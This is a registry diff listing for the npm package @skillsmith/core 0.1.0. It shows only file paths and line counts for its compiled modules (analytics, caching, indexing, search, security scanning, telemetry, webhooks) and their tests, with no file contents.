@skillsmith/core 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/.tsbuildinfo +1 -0
- package/dist/src/__tests__/errors.test.d.ts +5 -0
- package/dist/src/__tests__/errors.test.d.ts.map +1 -0
- package/dist/src/__tests__/errors.test.js +115 -0
- package/dist/src/__tests__/errors.test.js.map +1 -0
- package/dist/src/activation/ActivationManager.d.ts +141 -0
- package/dist/src/activation/ActivationManager.d.ts.map +1 -0
- package/dist/src/activation/ActivationManager.js +282 -0
- package/dist/src/activation/ActivationManager.js.map +1 -0
- package/dist/src/activation/ZeroConfigActivator.d.ts +126 -0
- package/dist/src/activation/ZeroConfigActivator.d.ts.map +1 -0
- package/dist/src/activation/ZeroConfigActivator.js +259 -0
- package/dist/src/activation/ZeroConfigActivator.js.map +1 -0
- package/dist/src/activation/index.d.ts +8 -0
- package/dist/src/activation/index.d.ts.map +1 -0
- package/dist/src/activation/index.js +8 -0
- package/dist/src/activation/index.js.map +1 -0
- package/dist/src/analysis/CodebaseAnalyzer.d.ts +175 -0
- package/dist/src/analysis/CodebaseAnalyzer.d.ts.map +1 -0
- package/dist/src/analysis/CodebaseAnalyzer.js +495 -0
- package/dist/src/analysis/CodebaseAnalyzer.js.map +1 -0
- package/dist/src/analysis/index.d.ts +10 -0
- package/dist/src/analysis/index.d.ts.map +1 -0
- package/dist/src/analysis/index.js +10 -0
- package/dist/src/analysis/index.js.map +1 -0
- package/dist/src/analytics/AnalyticsRepository.d.ts +97 -0
- package/dist/src/analytics/AnalyticsRepository.d.ts.map +1 -0
- package/dist/src/analytics/AnalyticsRepository.js +376 -0
- package/dist/src/analytics/AnalyticsRepository.js.map +1 -0
- package/dist/src/analytics/ExperimentService.d.ts +70 -0
- package/dist/src/analytics/ExperimentService.d.ts.map +1 -0
- package/dist/src/analytics/ExperimentService.js +251 -0
- package/dist/src/analytics/ExperimentService.js.map +1 -0
- package/dist/src/analytics/ROIDashboardService.d.ts +55 -0
- package/dist/src/analytics/ROIDashboardService.d.ts.map +1 -0
- package/dist/src/analytics/ROIDashboardService.js +304 -0
- package/dist/src/analytics/ROIDashboardService.js.map +1 -0
- package/dist/src/analytics/UsageAnalyticsService.d.ts +55 -0
- package/dist/src/analytics/UsageAnalyticsService.d.ts.map +1 -0
- package/dist/src/analytics/UsageAnalyticsService.js +180 -0
- package/dist/src/analytics/UsageAnalyticsService.js.map +1 -0
- package/dist/src/analytics/anonymizer.d.ts +53 -0
- package/dist/src/analytics/anonymizer.d.ts.map +1 -0
- package/dist/src/analytics/anonymizer.js +107 -0
- package/dist/src/analytics/anonymizer.js.map +1 -0
- package/dist/src/analytics/constants.d.ts +19 -0
- package/dist/src/analytics/constants.d.ts.map +1 -0
- package/dist/src/analytics/constants.js +19 -0
- package/dist/src/analytics/constants.js.map +1 -0
- package/dist/src/analytics/index.d.ts +23 -0
- package/dist/src/analytics/index.d.ts.map +1 -0
- package/dist/src/analytics/index.js +23 -0
- package/dist/src/analytics/index.js.map +1 -0
- package/dist/src/analytics/metrics-aggregator.d.ts +98 -0
- package/dist/src/analytics/metrics-aggregator.d.ts.map +1 -0
- package/dist/src/analytics/metrics-aggregator.js +176 -0
- package/dist/src/analytics/metrics-aggregator.js.map +1 -0
- package/dist/src/analytics/metrics-exporter.d.ts +148 -0
- package/dist/src/analytics/metrics-exporter.d.ts.map +1 -0
- package/dist/src/analytics/metrics-exporter.js +244 -0
- package/dist/src/analytics/metrics-exporter.js.map +1 -0
- package/dist/src/analytics/schema.d.ts +20 -0
- package/dist/src/analytics/schema.d.ts.map +1 -0
- package/dist/src/analytics/schema.js +125 -0
- package/dist/src/analytics/schema.js.map +1 -0
- package/dist/src/analytics/storage.d.ts +76 -0
- package/dist/src/analytics/storage.d.ts.map +1 -0
- package/dist/src/analytics/storage.js +180 -0
- package/dist/src/analytics/storage.js.map +1 -0
- package/dist/src/analytics/types.d.ts +277 -0
- package/dist/src/analytics/types.d.ts.map +1 -0
- package/dist/src/analytics/types.js +10 -0
- package/dist/src/analytics/types.js.map +1 -0
- package/dist/src/analytics/usage-tracker.d.ts +132 -0
- package/dist/src/analytics/usage-tracker.d.ts.map +1 -0
- package/dist/src/analytics/usage-tracker.js +213 -0
- package/dist/src/analytics/usage-tracker.js.map +1 -0
- package/dist/src/benchmarks/BenchmarkRunner.d.ts +258 -0
- package/dist/src/benchmarks/BenchmarkRunner.d.ts.map +1 -0
- package/dist/src/benchmarks/BenchmarkRunner.js +453 -0
- package/dist/src/benchmarks/BenchmarkRunner.js.map +1 -0
- package/dist/src/benchmarks/IndexBenchmark.d.ts +101 -0
- package/dist/src/benchmarks/IndexBenchmark.d.ts.map +1 -0
- package/dist/src/benchmarks/IndexBenchmark.js +314 -0
- package/dist/src/benchmarks/IndexBenchmark.js.map +1 -0
- package/dist/src/benchmarks/MemoryProfiler.d.ts +266 -0
- package/dist/src/benchmarks/MemoryProfiler.d.ts.map +1 -0
- package/dist/src/benchmarks/MemoryProfiler.js +404 -0
- package/dist/src/benchmarks/MemoryProfiler.js.map +1 -0
- package/dist/src/benchmarks/SearchBenchmark.d.ts +71 -0
- package/dist/src/benchmarks/SearchBenchmark.d.ts.map +1 -0
- package/dist/src/benchmarks/SearchBenchmark.js +321 -0
- package/dist/src/benchmarks/SearchBenchmark.js.map +1 -0
- package/dist/src/benchmarks/cacheBenchmark.d.ts +75 -0
- package/dist/src/benchmarks/cacheBenchmark.d.ts.map +1 -0
- package/dist/src/benchmarks/cacheBenchmark.js +325 -0
- package/dist/src/benchmarks/cacheBenchmark.js.map +1 -0
- package/dist/src/benchmarks/cli.d.ts +17 -0
- package/dist/src/benchmarks/cli.d.ts.map +1 -0
- package/dist/src/benchmarks/cli.js +140 -0
- package/dist/src/benchmarks/cli.js.map +1 -0
- package/dist/src/benchmarks/embeddingBenchmark.d.ts +86 -0
- package/dist/src/benchmarks/embeddingBenchmark.d.ts.map +1 -0
- package/dist/src/benchmarks/embeddingBenchmark.js +329 -0
- package/dist/src/benchmarks/embeddingBenchmark.js.map +1 -0
- package/dist/src/benchmarks/index.d.ts +51 -0
- package/dist/src/benchmarks/index.d.ts.map +1 -0
- package/dist/src/benchmarks/index.js +201 -0
- package/dist/src/benchmarks/index.js.map +1 -0
- package/dist/src/benchmarks/stats.d.ts +56 -0
- package/dist/src/benchmarks/stats.d.ts.map +1 -0
- package/dist/src/benchmarks/stats.js +86 -0
- package/dist/src/benchmarks/stats.js.map +1 -0
- package/dist/src/cache/CacheEntry.d.ts +101 -0
- package/dist/src/cache/CacheEntry.d.ts.map +1 -0
- package/dist/src/cache/CacheEntry.js +238 -0
- package/dist/src/cache/CacheEntry.js.map +1 -0
- package/dist/src/cache/CacheManager.d.ts +167 -0
- package/dist/src/cache/CacheManager.d.ts.map +1 -0
- package/dist/src/cache/CacheManager.js +346 -0
- package/dist/src/cache/CacheManager.js.map +1 -0
- package/dist/src/cache/TieredCache.d.ts +97 -0
- package/dist/src/cache/TieredCache.d.ts.map +1 -0
- package/dist/src/cache/TieredCache.js +352 -0
- package/dist/src/cache/TieredCache.js.map +1 -0
- package/dist/src/cache/index.d.ts +63 -0
- package/dist/src/cache/index.d.ts.map +1 -0
- package/dist/src/cache/index.js +91 -0
- package/dist/src/cache/index.js.map +1 -0
- package/dist/src/cache/lru.d.ts +68 -0
- package/dist/src/cache/lru.d.ts.map +1 -0
- package/dist/src/cache/lru.js +105 -0
- package/dist/src/cache/lru.js.map +1 -0
- package/dist/src/cache/sqlite.d.ts +59 -0
- package/dist/src/cache/sqlite.d.ts.map +1 -0
- package/dist/src/cache/sqlite.js +159 -0
- package/dist/src/cache/sqlite.js.map +1 -0
- package/dist/src/db/quarantine-schema.d.ts +81 -0
- package/dist/src/db/quarantine-schema.d.ts.map +1 -0
- package/dist/src/db/quarantine-schema.js +110 -0
- package/dist/src/db/quarantine-schema.js.map +1 -0
- package/dist/src/db/schema.d.ts +65 -0
- package/dist/src/db/schema.d.ts.map +1 -0
- package/dist/src/db/schema.js +318 -0
- package/dist/src/db/schema.js.map +1 -0
- package/dist/src/embeddings/index.d.ts +158 -0
- package/dist/src/embeddings/index.d.ts.map +1 -0
- package/dist/src/embeddings/index.js +397 -0
- package/dist/src/embeddings/index.js.map +1 -0
- package/dist/src/errors/SkillsmithError.d.ts +118 -0
- package/dist/src/errors/SkillsmithError.d.ts.map +1 -0
- package/dist/src/errors/SkillsmithError.js +194 -0
- package/dist/src/errors/SkillsmithError.js.map +1 -0
- package/dist/src/errors/index.d.ts +36 -0
- package/dist/src/errors/index.d.ts.map +1 -0
- package/dist/src/errors/index.js +36 -0
- package/dist/src/errors/index.js.map +1 -0
- package/dist/src/errors.d.ts +72 -0
- package/dist/src/errors.d.ts.map +1 -0
- package/dist/src/errors.js +123 -0
- package/dist/src/errors.js.map +1 -0
- package/dist/src/index.d.ts +56 -0
- package/dist/src/index.d.ts.map +1 -0
- package/dist/src/index.js +73 -0
- package/dist/src/index.js.map +1 -0
- package/dist/src/index.test.d.ts +2 -0
- package/dist/src/index.test.d.ts.map +1 -0
- package/dist/src/index.test.js +35 -0
- package/dist/src/index.test.js.map +1 -0
- package/dist/src/indexer/GitHubIndexer.d.ts +107 -0
- package/dist/src/indexer/GitHubIndexer.d.ts.map +1 -0
- package/dist/src/indexer/GitHubIndexer.js +202 -0
- package/dist/src/indexer/GitHubIndexer.js.map +1 -0
- package/dist/src/indexer/PartitionStrategy.d.ts +115 -0
- package/dist/src/indexer/PartitionStrategy.d.ts.map +1 -0
- package/dist/src/indexer/PartitionStrategy.js +207 -0
- package/dist/src/indexer/PartitionStrategy.js.map +1 -0
- package/dist/src/indexer/SkillParser.d.ts +112 -0
- package/dist/src/indexer/SkillParser.d.ts.map +1 -0
- package/dist/src/indexer/SkillParser.js +281 -0
- package/dist/src/indexer/SkillParser.js.map +1 -0
- package/dist/src/indexer/SwarmIndexer.d.ts +163 -0
- package/dist/src/indexer/SwarmIndexer.d.ts.map +1 -0
- package/dist/src/indexer/SwarmIndexer.js +300 -0
- package/dist/src/indexer/SwarmIndexer.js.map +1 -0
- package/dist/src/indexer/index.d.ts +12 -0
- package/dist/src/indexer/index.d.ts.map +1 -0
- package/dist/src/indexer/index.js +16 -0
- package/dist/src/indexer/index.js.map +1 -0
- package/dist/src/learning/interfaces.d.ts +338 -0
- package/dist/src/learning/interfaces.d.ts.map +1 -0
- package/dist/src/learning/interfaces.js +13 -0
- package/dist/src/learning/interfaces.js.map +1 -0
- package/dist/src/learning/types.d.ts +284 -0
- package/dist/src/learning/types.d.ts.map +1 -0
- package/dist/src/learning/types.js +112 -0
- package/dist/src/learning/types.js.map +1 -0
- package/dist/src/matching/OverlapDetector.d.ts +152 -0
- package/dist/src/matching/OverlapDetector.d.ts.map +1 -0
- package/dist/src/matching/OverlapDetector.js +218 -0
- package/dist/src/matching/OverlapDetector.js.map +1 -0
- package/dist/src/matching/SkillMatcher.d.ts +125 -0
- package/dist/src/matching/SkillMatcher.d.ts.map +1 -0
- package/dist/src/matching/SkillMatcher.js +206 -0
- package/dist/src/matching/SkillMatcher.js.map +1 -0
- package/dist/src/matching/index.d.ts +14 -0
- package/dist/src/matching/index.d.ts.map +1 -0
- package/dist/src/matching/index.js +12 -0
- package/dist/src/matching/index.js.map +1 -0
- package/dist/src/pipeline/DailyIndexPipeline.d.ts +220 -0
- package/dist/src/pipeline/DailyIndexPipeline.d.ts.map +1 -0
- package/dist/src/pipeline/DailyIndexPipeline.js +320 -0
- package/dist/src/pipeline/DailyIndexPipeline.js.map +1 -0
- package/dist/src/pipeline/index.d.ts +9 -0
- package/dist/src/pipeline/index.d.ts.map +1 -0
- package/dist/src/pipeline/index.js +9 -0
- package/dist/src/pipeline/index.js.map +1 -0
- package/dist/src/repositories/CacheRepository.d.ts +60 -0
- package/dist/src/repositories/CacheRepository.d.ts.map +1 -0
- package/dist/src/repositories/CacheRepository.js +148 -0
- package/dist/src/repositories/CacheRepository.js.map +1 -0
- package/dist/src/repositories/IndexerRepository.d.ts +126 -0
- package/dist/src/repositories/IndexerRepository.d.ts.map +1 -0
- package/dist/src/repositories/IndexerRepository.js +270 -0
- package/dist/src/repositories/IndexerRepository.js.map +1 -0
- package/dist/src/repositories/QuarantineRepository.d.ts +255 -0
- package/dist/src/repositories/QuarantineRepository.d.ts.map +1 -0
- package/dist/src/repositories/QuarantineRepository.js +445 -0
- package/dist/src/repositories/QuarantineRepository.js.map +1 -0
- package/dist/src/repositories/SkillRepository.d.ts +78 -0
- package/dist/src/repositories/SkillRepository.d.ts.map +1 -0
- package/dist/src/repositories/SkillRepository.js +208 -0
- package/dist/src/repositories/SkillRepository.js.map +1 -0
- package/dist/src/scoring/QualityScorer.d.ts +188 -0
- package/dist/src/scoring/QualityScorer.d.ts.map +1 -0
- package/dist/src/scoring/QualityScorer.js +342 -0
- package/dist/src/scoring/QualityScorer.js.map +1 -0
- package/dist/src/scoring/index.d.ts +9 -0
- package/dist/src/scoring/index.d.ts.map +1 -0
- package/dist/src/scoring/index.js +9 -0
- package/dist/src/scoring/index.js.map +1 -0
- package/dist/src/scripts/__tests__/scan-imported-skills.test.d.ts +5 -0
- package/dist/src/scripts/__tests__/scan-imported-skills.test.d.ts.map +1 -0
- package/dist/src/scripts/__tests__/scan-imported-skills.test.js +365 -0
- package/dist/src/scripts/__tests__/scan-imported-skills.test.js.map +1 -0
- package/dist/src/scripts/import-github-skills.d.ts +24 -0
- package/dist/src/scripts/import-github-skills.d.ts.map +1 -0
- package/dist/src/scripts/import-github-skills.js +545 -0
- package/dist/src/scripts/import-github-skills.js.map +1 -0
- package/dist/src/scripts/import-to-database.d.ts +60 -0
- package/dist/src/scripts/import-to-database.d.ts.map +1 -0
- package/dist/src/scripts/import-to-database.js +307 -0
- package/dist/src/scripts/import-to-database.js.map +1 -0
- package/dist/src/scripts/scan-imported-skills.d.ts +15 -0
- package/dist/src/scripts/scan-imported-skills.d.ts.map +1 -0
- package/dist/src/scripts/scan-imported-skills.js +405 -0
- package/dist/src/scripts/scan-imported-skills.js.map +1 -0
- package/dist/src/scripts/validate-skills.d.ts +180 -0
- package/dist/src/scripts/validate-skills.d.ts.map +1 -0
- package/dist/src/scripts/validate-skills.js +572 -0
- package/dist/src/scripts/validate-skills.js.map +1 -0
- package/dist/src/search/hybrid.d.ts +85 -0
- package/dist/src/search/hybrid.d.ts.map +1 -0
- package/dist/src/search/hybrid.js +291 -0
- package/dist/src/search/hybrid.js.map +1 -0
- package/dist/src/search/index.d.ts +6 -0
- package/dist/src/search/index.d.ts.map +1 -0
- package/dist/src/search/index.js +5 -0
- package/dist/src/search/index.js.map +1 -0
- package/dist/src/security/AuditLogger.d.ts +197 -0
- package/dist/src/security/AuditLogger.d.ts.map +1 -0
- package/dist/src/security/AuditLogger.js +398 -0
- package/dist/src/security/AuditLogger.js.map +1 -0
- package/dist/src/security/RateLimiter.d.ts +337 -0
- package/dist/src/security/RateLimiter.d.ts.map +1 -0
- package/dist/src/security/RateLimiter.js +782 -0
- package/dist/src/security/RateLimiter.js.map +1 -0
- package/dist/src/security/__tests__/pathValidation.test.d.ts +8 -0
- package/dist/src/security/__tests__/pathValidation.test.d.ts.map +1 -0
- package/dist/src/security/__tests__/pathValidation.test.js +249 -0
- package/dist/src/security/__tests__/pathValidation.test.js.map +1 -0
- package/dist/src/security/index.d.ts +18 -0
- package/dist/src/security/index.d.ts.map +1 -0
- package/dist/src/security/index.js +14 -0
- package/dist/src/security/index.js.map +1 -0
- package/dist/src/security/pathValidation.d.ts +95 -0
- package/dist/src/security/pathValidation.d.ts.map +1 -0
- package/dist/src/security/pathValidation.js +216 -0
- package/dist/src/security/pathValidation.js.map +1 -0
- package/dist/src/security/sanitization.d.ts +123 -0
- package/dist/src/security/sanitization.d.ts.map +1 -0
- package/dist/src/security/sanitization.js +378 -0
- package/dist/src/security/sanitization.js.map +1 -0
- package/dist/src/security/scanner.d.ts +151 -0
- package/dist/src/security/scanner.d.ts.map +1 -0
- package/dist/src/security/scanner.js +599 -0
- package/dist/src/security/scanner.js.map +1 -0
- package/dist/src/services/SearchService.d.ts +88 -0
- package/dist/src/services/SearchService.d.ts.map +1 -0
- package/dist/src/services/SearchService.js +305 -0
- package/dist/src/services/SearchService.js.map +1 -0
- package/dist/src/session/SessionContext.d.ts +116 -0
- package/dist/src/session/SessionContext.d.ts.map +1 -0
- package/dist/src/session/SessionContext.js +134 -0
- package/dist/src/session/SessionContext.js.map +1 -0
- package/dist/src/session/SessionHealthMonitor.d.ts +249 -0
- package/dist/src/session/SessionHealthMonitor.d.ts.map +1 -0
- package/dist/src/session/SessionHealthMonitor.js +302 -0
- package/dist/src/session/SessionHealthMonitor.js.map +1 -0
- package/dist/src/session/SessionManager.d.ts +179 -0
- package/dist/src/session/SessionManager.d.ts.map +1 -0
- package/dist/src/session/SessionManager.js +451 -0
- package/dist/src/session/SessionManager.js.map +1 -0
- package/dist/src/session/SessionRecovery.d.ts +84 -0
- package/dist/src/session/SessionRecovery.d.ts.map +1 -0
- package/dist/src/session/SessionRecovery.js +257 -0
- package/dist/src/session/SessionRecovery.js.map +1 -0
- package/dist/src/session/index.d.ts +40 -0
- package/dist/src/session/index.d.ts.map +1 -0
- package/dist/src/session/index.js +44 -0
- package/dist/src/session/index.js.map +1 -0
- package/dist/src/sources/BaseSourceAdapter.d.ts +144 -0
- package/dist/src/sources/BaseSourceAdapter.d.ts.map +1 -0
- package/dist/src/sources/BaseSourceAdapter.js +287 -0
- package/dist/src/sources/BaseSourceAdapter.js.map +1 -0
- package/dist/src/sources/GitHubSourceAdapter.d.ts +98 -0
- package/dist/src/sources/GitHubSourceAdapter.d.ts.map +1 -0
- package/dist/src/sources/GitHubSourceAdapter.js +269 -0
- package/dist/src/sources/GitHubSourceAdapter.js.map +1 -0
- package/dist/src/sources/GitLabSourceAdapter.d.ts +102 -0
- package/dist/src/sources/GitLabSourceAdapter.d.ts.map +1 -0
- package/dist/src/sources/GitLabSourceAdapter.js +310 -0
- package/dist/src/sources/GitLabSourceAdapter.js.map +1 -0
- package/dist/src/sources/ISourceAdapter.d.ts +110 -0
- package/dist/src/sources/ISourceAdapter.d.ts.map +1 -0
- package/dist/src/sources/ISourceAdapter.js +19 -0
- package/dist/src/sources/ISourceAdapter.js.map +1 -0
- package/dist/src/sources/LocalFilesystemAdapter.d.ts +112 -0
- package/dist/src/sources/LocalFilesystemAdapter.d.ts.map +1 -0
- package/dist/src/sources/LocalFilesystemAdapter.js +340 -0
- package/dist/src/sources/LocalFilesystemAdapter.js.map +1 -0
- package/dist/src/sources/RawUrlSourceAdapter.d.ts +128 -0
- package/dist/src/sources/RawUrlSourceAdapter.d.ts.map +1 -0
- package/dist/src/sources/RawUrlSourceAdapter.js +282 -0
- package/dist/src/sources/RawUrlSourceAdapter.js.map +1 -0
- package/dist/src/sources/SourceAdapterRegistry.d.ts +156 -0
- package/dist/src/sources/SourceAdapterRegistry.d.ts.map +1 -0
- package/dist/src/sources/SourceAdapterRegistry.js +242 -0
- package/dist/src/sources/SourceAdapterRegistry.js.map +1 -0
- package/dist/src/sources/SourceIndexer.d.ts +119 -0
- package/dist/src/sources/SourceIndexer.d.ts.map +1 -0
- package/dist/src/sources/SourceIndexer.js +285 -0
- package/dist/src/sources/SourceIndexer.js.map +1 -0
- package/dist/src/sources/index.d.ts +45 -0
- package/dist/src/sources/index.d.ts.map +1 -0
- package/dist/src/sources/index.js +51 -0
- package/dist/src/sources/index.js.map +1 -0
- package/dist/src/sources/shared.d.ts +125 -0
- package/dist/src/sources/shared.d.ts.map +1 -0
- package/dist/src/sources/shared.js +191 -0
- package/dist/src/sources/shared.js.map +1 -0
- package/dist/src/sources/types.d.ts +204 -0
- package/dist/src/sources/types.d.ts.map +1 -0
- package/dist/src/sources/types.js +6 -0
- package/dist/src/sources/types.js.map +1 -0
- package/dist/src/telemetry/index.d.ts +25 -0
- package/dist/src/telemetry/index.d.ts.map +1 -0
- package/dist/src/telemetry/index.js +32 -0
- package/dist/src/telemetry/index.js.map +1 -0
- package/dist/src/telemetry/metrics.d.ts +171 -0
- package/dist/src/telemetry/metrics.d.ts.map +1 -0
- package/dist/src/telemetry/metrics.js +401 -0
- package/dist/src/telemetry/metrics.js.map +1 -0
- package/dist/src/telemetry/prometheus.d.ts +81 -0
- package/dist/src/telemetry/prometheus.d.ts.map +1 -0
- package/dist/src/telemetry/prometheus.js +252 -0
- package/dist/src/telemetry/prometheus.js.map +1 -0
- package/dist/src/telemetry/tracer.d.ts +151 -0
- package/dist/src/telemetry/tracer.d.ts.map +1 -0
- package/dist/src/telemetry/tracer.js +391 -0
- package/dist/src/telemetry/tracer.js.map +1 -0
- package/dist/src/triggers/ContextScorer.d.ts +118 -0
- package/dist/src/triggers/ContextScorer.d.ts.map +1 -0
- package/dist/src/triggers/ContextScorer.js +265 -0
- package/dist/src/triggers/ContextScorer.js.map +1 -0
- package/dist/src/triggers/TriggerDetector.d.ts +178 -0
- package/dist/src/triggers/TriggerDetector.d.ts.map +1 -0
- package/dist/src/triggers/TriggerDetector.js +390 -0
- package/dist/src/triggers/TriggerDetector.js.map +1 -0
- package/dist/src/triggers/__tests__/ContextScorer.test.d.ts +6 -0
- package/dist/src/triggers/__tests__/ContextScorer.test.d.ts.map +1 -0
- package/dist/src/triggers/__tests__/ContextScorer.test.js +307 -0
- package/dist/src/triggers/__tests__/ContextScorer.test.js.map +1 -0
- package/dist/src/triggers/__tests__/TriggerDetector.test.d.ts +6 -0
- package/dist/src/triggers/__tests__/TriggerDetector.test.d.ts.map +1 -0
- package/dist/src/triggers/__tests__/TriggerDetector.test.js +249 -0
- package/dist/src/triggers/__tests__/TriggerDetector.test.js.map +1 -0
- package/dist/src/triggers/index.d.ts +8 -0
- package/dist/src/triggers/index.d.ts.map +1 -0
- package/dist/src/triggers/index.js +8 -0
- package/dist/src/triggers/index.js.map +1 -0
- package/dist/src/types/skill.d.ts +80 -0
- package/dist/src/types/skill.d.ts.map +1 -0
- package/dist/src/types/skill.js +5 -0
- package/dist/src/types/skill.js.map +1 -0
- package/dist/src/types.d.ts +88 -0
- package/dist/src/types.d.ts.map +1 -0
- package/dist/src/types.js +13 -0
- package/dist/src/types.js.map +1 -0
- package/dist/src/utils/index.d.ts +6 -0
- package/dist/src/utils/index.d.ts.map +1 -0
- package/dist/src/utils/index.js +6 -0
- package/dist/src/utils/index.js.map +1 -0
- package/dist/src/utils/logger.d.ts +172 -0
- package/dist/src/utils/logger.d.ts.map +1 -0
- package/dist/src/utils/logger.js +291 -0
- package/dist/src/utils/logger.js.map +1 -0
- package/dist/src/utils/retry.d.ts +97 -0
- package/dist/src/utils/retry.d.ts.map +1 -0
- package/dist/src/utils/retry.js +267 -0
- package/dist/src/utils/retry.js.map +1 -0
- package/dist/src/validation/index.d.ts +118 -0
- package/dist/src/validation/index.d.ts.map +1 -0
- package/dist/src/validation/index.js +434 -0
- package/dist/src/validation/index.js.map +1 -0
- package/dist/src/webhooks/WebhookHandler.d.ts +117 -0
- package/dist/src/webhooks/WebhookHandler.d.ts.map +1 -0
- package/dist/src/webhooks/WebhookHandler.js +349 -0
- package/dist/src/webhooks/WebhookHandler.js.map +1 -0
- package/dist/src/webhooks/WebhookPayload.d.ts +238 -0
- package/dist/src/webhooks/WebhookPayload.d.ts.map +1 -0
- package/dist/src/webhooks/WebhookPayload.js +244 -0
- package/dist/src/webhooks/WebhookPayload.js.map +1 -0
- package/dist/src/webhooks/WebhookQueue.d.ts +227 -0
- package/dist/src/webhooks/WebhookQueue.d.ts.map +1 -0
- package/dist/src/webhooks/WebhookQueue.js +328 -0
- package/dist/src/webhooks/WebhookQueue.js.map +1 -0
- package/dist/src/webhooks/index.d.ts +12 -0
- package/dist/src/webhooks/index.d.ts.map +1 -0
- package/dist/src/webhooks/index.js +15 -0
- package/dist/src/webhooks/index.js.map +1 -0
- package/dist/tests/Analytics.integration.test.d.ts +7 -0
- package/dist/tests/Analytics.integration.test.d.ts.map +1 -0
- package/dist/tests/Analytics.integration.test.js +367 -0
- package/dist/tests/Analytics.integration.test.js.map +1 -0
- package/dist/tests/AnalyticsRepository.test.d.ts +8 -0
- package/dist/tests/AnalyticsRepository.test.d.ts.map +1 -0
- package/dist/tests/AnalyticsRepository.test.js +399 -0
- package/dist/tests/AnalyticsRepository.test.js.map +1 -0
- package/dist/tests/AnalyticsStorage.test.d.ts +8 -0
- package/dist/tests/AnalyticsStorage.test.d.ts.map +1 -0
- package/dist/tests/AnalyticsStorage.test.js +271 -0
- package/dist/tests/AnalyticsStorage.test.js.map +1 -0
- package/dist/tests/AuditLogger.test.d.ts +8 -0
- package/dist/tests/AuditLogger.test.d.ts.map +1 -0
- package/dist/tests/AuditLogger.test.js +699 -0
- package/dist/tests/AuditLogger.test.js.map +1 -0
- package/dist/tests/BenchmarkRunner.test.d.ts +11 -0
- package/dist/tests/BenchmarkRunner.test.d.ts.map +1 -0
- package/dist/tests/BenchmarkRunner.test.js +641 -0
- package/dist/tests/BenchmarkRunner.test.js.map +1 -0
- package/dist/tests/CacheRepository.test.d.ts +5 -0
- package/dist/tests/CacheRepository.test.d.ts.map +1 -0
- package/dist/tests/CacheRepository.test.js +184 -0
- package/dist/tests/CacheRepository.test.js.map +1 -0
- package/dist/tests/CacheSecurity.test.d.ts +8 -0
- package/dist/tests/CacheSecurity.test.d.ts.map +1 -0
- package/dist/tests/CacheSecurity.test.js +273 -0
- package/dist/tests/CacheSecurity.test.js.map +1 -0
- package/dist/tests/CodebaseAnalyzer.test.d.ts +2 -0
- package/dist/tests/CodebaseAnalyzer.test.d.ts.map +1 -0
- package/dist/tests/CodebaseAnalyzer.test.js +347 -0
- package/dist/tests/CodebaseAnalyzer.test.js.map +1 -0
- package/dist/tests/DailyIndexPipeline.test.d.ts +7 -0
- package/dist/tests/DailyIndexPipeline.test.d.ts.map +1 -0
- package/dist/tests/DailyIndexPipeline.test.js +539 -0
- package/dist/tests/DailyIndexPipeline.test.js.map +1 -0
- package/dist/tests/EmbeddingService.test.d.ts +2 -0
- package/dist/tests/EmbeddingService.test.d.ts.map +1 -0
- package/dist/tests/EmbeddingService.test.js +252 -0
- package/dist/tests/EmbeddingService.test.js.map +1 -0
- package/dist/tests/ExperimentService.test.d.ts +7 -0
- package/dist/tests/ExperimentService.test.d.ts.map +1 -0
- package/dist/tests/ExperimentService.test.js +293 -0
- package/dist/tests/ExperimentService.test.js.map +1 -0
- package/dist/tests/GitHubIndexer.test.d.ts +10 -0
- package/dist/tests/GitHubIndexer.test.d.ts.map +1 -0
- package/dist/tests/GitHubIndexer.test.js +524 -0
- package/dist/tests/GitHubIndexer.test.js.map +1 -0
- package/dist/tests/GitHubSourceAdapter.test.d.ts +5 -0
- package/dist/tests/GitHubSourceAdapter.test.d.ts.map +1 -0
- package/dist/tests/GitHubSourceAdapter.test.js +385 -0
- package/dist/tests/GitHubSourceAdapter.test.js.map +1 -0
- package/dist/tests/MemoryProfiler.test.d.ts +12 -0
- package/dist/tests/MemoryProfiler.test.d.ts.map +1 -0
- package/dist/tests/MemoryProfiler.test.js +402 -0
- package/dist/tests/MemoryProfiler.test.js.map +1 -0
- package/dist/tests/OverlapDetector.test.d.ts +2 -0
- package/dist/tests/OverlapDetector.test.d.ts.map +1 -0
- package/dist/tests/OverlapDetector.test.js +340 -0
- package/dist/tests/OverlapDetector.test.js.map +1 -0
- package/dist/tests/QualityScorer.test.d.ts +7 -0
- package/dist/tests/QualityScorer.test.d.ts.map +1 -0
- package/dist/tests/QualityScorer.test.js +340 -0
- package/dist/tests/QualityScorer.test.js.map +1 -0
- package/dist/tests/QuarantineRepository.test.d.ts +7 -0
- package/dist/tests/QuarantineRepository.test.d.ts.map +1 -0
- package/dist/tests/QuarantineRepository.test.js +582 -0
- package/dist/tests/QuarantineRepository.test.js.map +1 -0
- package/dist/tests/ROIDashboardService.test.d.ts +7 -0
- package/dist/tests/ROIDashboardService.test.d.ts.map +1 -0
- package/dist/tests/ROIDashboardService.test.js +324 -0
- package/dist/tests/ROIDashboardService.test.js.map +1 -0
- package/dist/tests/RateLimiter.test.d.ts +7 -0
- package/dist/tests/RateLimiter.test.d.ts.map +1 -0
- package/dist/tests/RateLimiter.test.js +1017 -0
- package/dist/tests/RateLimiter.test.js.map +1 -0
- package/dist/tests/RawUrlSourceAdapter.security.test.d.ts +7 -0
- package/dist/tests/RawUrlSourceAdapter.security.test.d.ts.map +1 -0
- package/dist/tests/RawUrlSourceAdapter.security.test.js +455 -0
- package/dist/tests/RawUrlSourceAdapter.security.test.js.map +1 -0
- package/dist/tests/ScraperAdapters.test.d.ts +7 -0
- package/dist/tests/ScraperAdapters.test.d.ts.map +1 -0
- package/dist/tests/ScraperAdapters.test.js +748 -0
- package/dist/tests/ScraperAdapters.test.js.map +1 -0
- package/dist/tests/SearchQuality.test.d.ts +8 -0
- package/dist/tests/SearchQuality.test.d.ts.map +1 -0
- package/dist/tests/SearchQuality.test.js +397 -0
- package/dist/tests/SearchQuality.test.js.map +1 -0
- package/dist/tests/SearchService.test.d.ts +5 -0
- package/dist/tests/SearchService.test.d.ts.map +1 -0
- package/dist/tests/SearchService.test.js +218 -0
- package/dist/tests/SearchService.test.js.map +1 -0
- package/dist/tests/SecurityScanner.test.d.ts +6 -0
- package/dist/tests/SecurityScanner.test.d.ts.map +1 -0
- package/dist/tests/SecurityScanner.test.js +449 -0
- package/dist/tests/SecurityScanner.test.js.map +1 -0
- package/dist/tests/SessionHealthMonitor.test.d.ts +5 -0
- package/dist/tests/SessionHealthMonitor.test.d.ts.map +1 -0
